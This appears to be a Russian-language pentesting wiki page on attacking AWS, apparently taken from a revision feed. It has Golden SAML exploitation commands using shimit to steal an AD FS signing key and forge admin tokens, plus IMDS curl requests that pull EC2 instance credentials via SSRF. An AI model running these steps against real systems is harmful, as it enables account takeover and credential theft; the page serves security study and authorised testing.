&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
Сервис по извлечению ценной информации из текста и работе с ним.&lt;br /&gt;
&lt;br /&gt;
[[File:Aws comprehend.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Список категорий, на которые может разбить текст, есть на фото выше.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для пользовательских настроек есть несколько параметров:&lt;br /&gt;
&lt;br /&gt;
- Кастомные классификации&lt;br /&gt;
&lt;br /&gt;
- Кастомные определения вставок в тексте&lt;br /&gt;
&lt;br /&gt;
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.&lt;br /&gt;
&lt;br /&gt;
Источники метрик:&lt;br /&gt;
&lt;br /&gt;
* CloudWatch&lt;br /&gt;
&lt;br /&gt;
* AWS Config&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
&lt;br /&gt;
* X-Ray&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль &amp;quot;Amazon DevOps Guru_Role&amp;quot; и привилегии на доступ к следующим ресурсам:&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Events&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Logs&lt;br /&gt;
&lt;br /&gt;
* AWS CodeDeploy&lt;br /&gt;
&lt;br /&gt;
* AWS CodePipeline&lt;br /&gt;
&lt;br /&gt;
* AWS CloudFormation&lt;br /&gt;
&lt;br /&gt;
* AWS CloudTrail&lt;br /&gt;
&lt;br /&gt;
* AWS Systems Manager&lt;br /&gt;
&lt;br /&gt;
* AWS X-Ray&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1229</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1229"/>
				<updated>2022-10-17T14:14:53Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* DevOps Guru */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
